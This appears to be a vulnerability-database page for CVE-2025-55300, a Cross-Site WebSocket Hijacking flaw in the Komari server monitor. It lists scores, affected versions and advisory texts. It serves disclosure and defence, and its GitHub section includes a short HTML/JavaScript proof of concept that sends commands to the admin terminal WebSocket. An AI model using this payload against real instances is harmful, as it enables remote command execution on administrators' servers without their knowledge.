8.6high
Komari Allows Cross-site WebSocket Hijacking
- Severity
- 8.6high CVSS:4.0 by GitHub_M
- Exploit likelihood
- 0.64% (higher than 51% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-q355-h244-969hGO-2025-3874
Description
Komari is a lightweight, self-hosted server monitoring tool designed to provide a simple and efficient solution for monitoring server performance. Prior to 1.0.4-fix1, WebSocket upgrader has disabled origin checking, enabling Cross-Site WebSocket Hijacking (CSWSH) attacks against authenticated users. Any third party website can send requests to the terminal websocket endpoint with browser's cookies, resulting in remote code execution. This vulnerability is fixed in 1.0.4-fix1.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| komari-monitor komari | < 1.0.4-fix1 | CVE List |
| github.com/komari-monitor/komari (Go) | before 0.0.0-20250809073044-53171affcaf0 | GitHub Advisory Database, Go Vulnerability Database |
All scores
| GitHub_M | 8.6high CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
| GitHub | high CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
Classification
What each source says
CVE List
Komari is a lightweight, self-hosted server monitoring tool designed to provide a simple and efficient solution for monitoring server performance. Prior to 1.0.4-fix1, WebSocket upgrader has disabled origin checking, enabling Cross-Site WebSocket Hijacking (CSWSH) attacks against authenticated users. Any third party website can send requests to the terminal websocket endpoint with browser's cookies, resulting in remote code execution. This vulnerability is fixed in 1.0.4-fix1.
GitHub Advisory Database
Summary
WebSocket upgrader has disabled origin checking, enabling Cross-Site WebSocket Hijacking (CSWSH) attacks against authenticated users
Details
Any third party website can send requests to the terminal websocket endpoint with browser's cookies, resulting in remote code execution
PoC
- Login in to your komari instance
- Hosting the following HTML code on internet, replace
<komari-addr>and<target-uuid>into yours - Visit this HTML page, you can see your node is executing
uptimewithout your actions
<pre></pre>
<script>
const socket = new WebSocket("wss://<komari-addr>/api/admin/client/<target-uuid>/terminal");
socket.addEventListener("open", (event) => {
const binaryBlob = new Blob(['uptime\n'], { type: 'application/octet-stream' });
socket.send(binaryBlob);
});
socket.addEventListener("message", (event) => {
event.data.text().then(x => {document.querySelector("pre").append(x)});
});
</script>
Impact
An administrator of a Komari instance will execute commands on their nodes unnoticed when visiting a malware page.
Go Vulnerability Database
Komari vulnerable to Cross-site WebSocket Hijacking in github.com/komari-monitor/komari
NVD (es)
Komari es una herramienta ligera y autoalojada para la monitorización de servidores, diseñada para ofrecer una solución sencilla y eficiente para supervisar el rendimiento del servidor. Antes de la versión 1.0.4-fix1, el actualizador de WebSocket deshabilitaba la comprobación de origen, lo que permitía ataques de Cross-Site WebSocket Hijacking (CSWSH) contra usuarios autenticados. Cualquier sitio web de terceros puede enviar solicitudes al endpoint websocket del terminal con las cookies del navegador, lo que provoca la ejecución remota de código. Esta vulnerabilidad se corrigió en la versión 1.0.4-fix1.
References
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2025-55300 changed 2025-08-18 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-q355-h244-969h changed 2025-08-19 | CC-BY-4.0 |
| Go Vulnerability Database | GO-2025-3874 changed 2026-03-03 | CC-BY-4.0 |
| NVD | CVE-2025-55300 changed 2026-06-17 | Public domain |